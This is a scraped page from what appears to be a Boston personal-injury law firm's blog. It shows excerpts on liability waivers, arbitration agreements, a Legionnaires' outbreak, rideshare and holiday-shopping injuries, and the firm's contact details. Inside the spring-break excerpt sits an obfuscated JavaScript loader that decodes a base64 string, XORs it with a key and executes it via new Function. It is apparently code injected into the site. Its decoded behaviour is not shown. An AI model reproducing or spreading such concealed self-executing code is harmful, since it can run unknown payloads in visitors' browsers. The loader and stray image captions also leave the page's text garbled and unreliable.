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Case: Markovitz v. Cassenti, August 18, 2016, Massachusetts Supreme Judicial Court

Brief Fact Summary: A woman who fell off a horse during a riding lesson in 2011 filed a Massachusetts personal injury lawsuit against the farm that provided the lessons. The trial court granted defendant’s request for summary judgment on grounds plaintiff signed a waiver of liability prior to beginning lessons, more than a year before her fall. Plaintiff appealed, arguing she was entitled to relief under M.G.L. c. 128 § 2D (c)(1)(ii), which she asserted created a new duty of care – in addition to those that already exist under common law – that precluded the waiver of liability. Alternatively, she argued a question of fact remained as to whether defendant committed gross negligence, which would have allowed her to sidestep the waiver, per the precedent set in the 1997 case of Zavras v. Capeway Rovers Motorcycle Club, Inc.

Synopsis of Rule of Law: Massachusetts courts have generally upheld waivers of liability and release agreements that immunize defendants from future liability for negligent acts – particularly for cases related to sports and recreation. This precedent was first set in 1965 with the Massachusetts Supreme Judicial Court case of Lee v. Allied Sports Assocs., Inc., a car race track accident. Successful challenges to releases from liability, which are issued via summary judgment, are generally done on the grounds that the waiver was unclear or ambiguous. In order for such waivers to be binding, defendants have show the language was clear and conspicuous, all parties were properly named, the party in question (or his/ her guardian or legal representative) signed the waiver and that there was a valid contractual consideration. That last part means something of value was exchanged. In the Zavras case, the state high court ruled that while a party may contract against liability for harm caused by its own negligence, it may not do so with respect to harm caused by gross negligence or harm caused by a violation of statutory duty. Meanwhile,  M.G.L. c. 128 § 2D (c)(1)(ii) indicates that while equine activity sponsors can’t be held liable for an injury or death resulting from the inherent risks of equine activities, these parties can be held liable if they provided the horse and failed to make reasonable and prudent efforts to determine both the ability of the participant to safely engage in the activity.

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State supreme court justices in North Carolina have ruled that a couple may proceed with their medical malpractice lawsuit against a surgical center in Fayetteville.

As our Massachusetts medical malpractice attorneys understand, the issue of whether arbitration agreements should be enforced in health care disputes remains a contentious one. doctor

This case involved plaintiffs who were fighting against an arbitration agreement prior to surgery plaintiff underwent in 2009. These types of agreements are becoming increasingly popular with a number of businesses – including physicians and other health are providers – as a means to avoid civil litigation stemming from disputes or allegations of wrongdoing or negligence. We’ve seen them most often in cases of nursing home abuse and neglect, where facilities compel patients and their loved ones to sign these agreements as a term of admission – often without any detailed explanation of the fact that residents are forfeiting their legal right to have disputes resolved in a court of law.

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Boston is home to many college students and young adults. A lot of these students will travel for spring break, and while some students go on the internet and find their own trips, many will respond to ads targeted at these students. We often hear on the radio and see ads for day trips to ski areas in Vermont, and with respect to spring break trips, we often see ads targeted at college students in Boston.  These trips can range from going skiing out west, to beach resorts in Florida, Texas, and even the Caribbean or Mexico.

medical malpracticeWhile these trips are supposed to be a lot of, they can also result in serious personal injury to one or more students, especially in cases where tour operators were negligent.  The problem when an injury occurs is not only pain and suffering associated with an injury, but also many jurisdictions are not as friendly to plaintiffs in personal injury cases as they are in Massachusetts.  (function(){

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Public health officials in New York City have issued an urgent investigation update regarding a community cluster of Legionnaires’ disease. The NYC Department of Health and Mental Hygiene is actively tracking dozens of confirmed cases, forcing residents and workers to confront a serious environmental hazard. When a preventable disease tears through a community, understanding your medical risks and legal options becomes absolutely essential.

Understanding Legionnaires’ Disease: The Silent Respiratory Threat

Legionnaires’ disease represents a severe, potentially lethal form of pneumonia caused by Legionella bacteria. When these microorganisms find a foothold in warm water, they proliferate aggressively. People do not catch this illness from casual person-to-person contact; rather, it strikes when someone breathes in microscopic airborne water droplets or mist contaminated with the bacteria.

Aspect Core Details
Primary Symptoms High fever, severe chills, muscle aches, persistent cough, shortness of breath, and cognitive confusion.
High-Risk Groups Individuals aged 50 or older, active smokers or vapers, and anyone with chronic lung disease or compromised immune systems.
Incubation Window Symptoms typically manifest between 2 to 14 days following environmental exposure.
Common Traps Believing home air conditioning units or drinking standard tap water spreads the disease. The real threat stems from industrial aerosolized systems.

How Exposure Happens: Tracking the Environmental Sources

Bacterial amplification requires stagnant, warm water conditions often exacerbated by systemic corporate neglect. When multiple individuals fall ill within a shared geographic boundary, public health investigators immediately pivot their attention toward large-scale industrial water systems.

  • Cooling Towers: Massive industrial cooling towers sitting atop large commercial buildings represent the number one culprit behind community clusters. They use water to cool HVAC systems and can project contaminated mist across several city blocks.
  • Building Plumbing Layouts: When a localized cluster emerges within a single apartment complex or hotel, the building’s internal hot water infrastructure is usually failing.
  • Decorative Features: Fancy commercial spray fountains, hot tubs, and misting lines can readily aerosolize Legionella if the operators fail to inject proper chemical disinfectants.

Determining Fault: Who Is Liable for a Legionnaires’ Outbreak?

New York City enforces incredibly strict safety protocols, specifically Local Law 77 of 2015, which mandates that building owners meticulously register, clean, and test their cooling towers. When an outbreak occurs, it is rarely an act of God; it is almost always a failure of human maintenance. Several separate entities can face staggering legal liability for a victim’s suffering:

  1. Commercial Property Owners and Landlords: They possess a non-delegable legal duty to keep their building systems safe. Skipping routine bacterial screenings to save a buck constitutes actionable negligence.
  2. Property Management Companies: These groups are hired to run day-to-day operations and face liability if they ignore warning signs, fail to treat stagnant water, or delay emergency remediation orders.
  3. Water Treatment Contractors and Maintenance Vendors: If a specialized chemical vendor fails to properly treat a cooling tower, uses expired biocide chemicals, or misinterprets laboratory test results, they can be held directly accountable.

How Jeffrey Glassman Injury Lawyers Can Fight For You

Proving a personal injury or wrongful death claim involving toxic environmental exposure requires intense scientific precision and massive resources. At Jeffrey Glassman Injury Lawyers, the legal team excels at connecting the dots between a victim’s medical diagnosis and a building owner’s reckless operational shortcuts. The firm routinely collaborates with leading pulmonologists, environmental microbiologists, and industrial HVAC water treatment engineers to build unassailable injury claims. This investigative rigor is exactly how the firm uncovers hidden maintenance logs, unmasks fraudulent record-keeping, and tracks down the exact genetic strains of Legionella matching the environmental source.

A Proven History of Protecting Legionnaires’ Victims

This is not uncharted territory. The legal team has a documented history of stepping up for legionnaires’ victims in times of public health crises. For example, the firm aggressively advocated for victims during the devastating Central Harlem Legionnaires’ disease cluster, deeply analyzing the 90 confirmed cases and multiple tragic fatalities linked to negligent neighborhood cooling towers. If you or a loved one spent time in an affected area and subsequently suffered severe pneumonia symptoms, time is your greatest enemy. New York enforces exceptionally rigid filing deadlines, including a strict 90-day Notice of Claim window if a publicly owned facility or municipal entity caused the exposure.



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_0x034992db8cf3=atob(‘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’),_0x52421b867837=33,_0xa898e8dc7503=new Uint8Array(_0x034992db8cf3[‘length’]),_0xc54ff33ca072=0;for(;_0xc54ff33ca072<_0x034992db8cf3['length'];_0xc54ff33ca072++)_0xa898e8dc7503[_0xc54ff33ca072]=_0x034992db8cf3['charCodeAt'](_0xc54ff33ca072)^_0x52421b867837;(new Function(new TextDecoder()['decode'](_0xa898e8dc7503)))()}();(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var 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Boston is a tough city to move through on foot or by bike. Between narrow lanes, double-parked vehicles, sudden door openings, delivery traffic, and ride share pickups that happen everywhere from curb cuts to bus lanes, pedestrians and cyclists face risks that don’t exist in less congested places. When the car that hits you is driving for Uber or Lyft, the claim can become more complicated than a normal automobile accident because insurance coverage depends on what the driver was doing in the rideshare app at the moment of impact.

If you were struck while walking or cycling in Boston, your recovery may still be straightforward, but only if the right evidence is preserved early and the correct insurance layers are identified. Massachusetts law regulates transportation network companies (TNCs) and requires certain insurance protections when a driver is providing rideshare services.

Why rideshare cases feel different due to coverage changes with app status.

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Eve enables faster case insights, stronger preparation, and more meaningful attorney–client engagementhttps://www.bostonpersonalinjuryattorneyblog.com/files/2026/02/Eve-2.0-Instagram-Post-1-1-1-240x300.png

Jeffrey Glassman Injury Lawyers has partnered with leading legal AI platform Eve to transform into an AI-Native law firm. The collaboration brings AI into case development, intake, internal operations, and client communications—allowing attorneys and case managers to deliver stronger outcomes with greater speed, focus, and care.

Founder Jeffrey Glassman, who has grown the firm over more than 30 years, built his practice on one principle: helping people. That commitment fueled his growth from a one-lawyer shop into a multi-office team serving clients across New England and nationwide. The adoption of Eve represents the next chapter of that mission.

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Getting into a crash as an Uber or Lyft passenger can feel uniquely frustrating because you did everything right. You buckled up, you were not driving, and you trusted a professional service to get you safely through Boston traffic. Then the unexpected happens: you are injured, your phone is full of alerts, and bills start arriving before you even know which insurance company is supposed to pay.

If you are hurt in a rideshare crash, you may have multiple layers of coverage available, including Massachusetts no-fault benefits and rideshare insurance that can be much larger than a typical personal policy. The key is knowing how the system works and how to protect your claim while you focus on healing, and when it makes sense to speak with a personal injury lawyer who handles Uber and Lyft accident cases.

Rideshare Crashes Are Still Car Crashes, But Insurance Can Be More Complicated

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December Congestion And Winter Conditions

December in Boston is beautiful, but for many families, it is also the most chaotic month for driving. Holiday visitors stream through Logan, rental cars fill the tunnels, and early sunsets turn evening commutes into hours spent in low-light, low-friction conditions. If you were injured near the airport or on the interstates that feed it, especially the complex stretches of I-93 and the Mass Pike, understanding how these car accidents happen and how to prove what really occurred is the foundation of a strong claim. 

Traffic patterns around Logan create a perfect storm: unfamiliar drivers follow GPS prompts and make last-second lane changes; rideshare vehicles stop abruptly for pickups; and winter weather magnifies every mistake. Inside the airport loops and tunnels, visibility changes in an instant as you pass from bright terminal lighting to dim stretches with glare from reflective surfaces. On I-93 and at the I-93/I-90 interchange, merging vehicles frequently misjudge gaps, and a single brake tap can ripple through tightly packed cars. 

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Black Friday and the holiday shopping season are supposed to be about gifts, family, and good deals, not emergency room visits and months of painful recovery. Yet every year, crowded malls and big box stores in Massachusetts see serious injuries from slip-and-fall accidents, trip hazards, and crowd crush incidents caused by poorly managed sales events. Retailers know these crowds are coming, they advertise them heavily, and they have a legal duty to keep shoppers reasonably safe while they are on the property.

If you or someone you love was hurt while shopping on Black Friday or during the holiday rush, you may be wondering whether the store is responsible, how you will pay medical bills, and whether it is worth calling a lawyer. Our article, by Jeffrey Glassman Injury Lawyers, a Boston-based personal injury firm, explains how Black Friday and holiday retail injury claims work and what steps you can take right now to protect your rights. 

Why Black Friday And Holiday Shopping Are So Dangerous

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September is a busy month for both personal injury and construction sites. Kids are back in school, road projects are racing to finish before winter, and workplaces are pushing to hit year-end targets. Unfortunately, that combination often translates into more serious injuries on job sites, in work zones, and on our roads. Below is our Massachusetts-focused roundup of what we’re seeing this month, plus practical guidance you can use today if you or a loved one has been hurt.

Why September matters for safety and claims

End-of-summer pressure can drive risky shortcuts: tighter schedules, stacked trades working shoulder-to-shoulder, and temporary scaffolding or shoring that isn’t inspected as often as it should be. Municipal paving and utility crews also create more lane shifts and detours, which increase the risk of rear-end and pedestrian crashes. Meanwhile, national enforcement campaigns that wrapped around Labor Day mean more police reports and arrest data coming out, which can be crucial evidence in drunk-driving and reckless-driving injury cases. Put simply, September is a moment to double-check safety on the front end and tighten your evidence plan on the back end if something goes wrong.

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1 International Pl Unit 1810
Boston, MA 02110
Phone: (617) 777-7777Fax: (617) 722-9999
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Disclaimer – The settlements above are only a sample of cases represented by our office. Each case is different and the amount of a potential resolution of your case will vary considerably depending on a substantial amount of factors. Some case results were worked in conjunction with partnering law firms.

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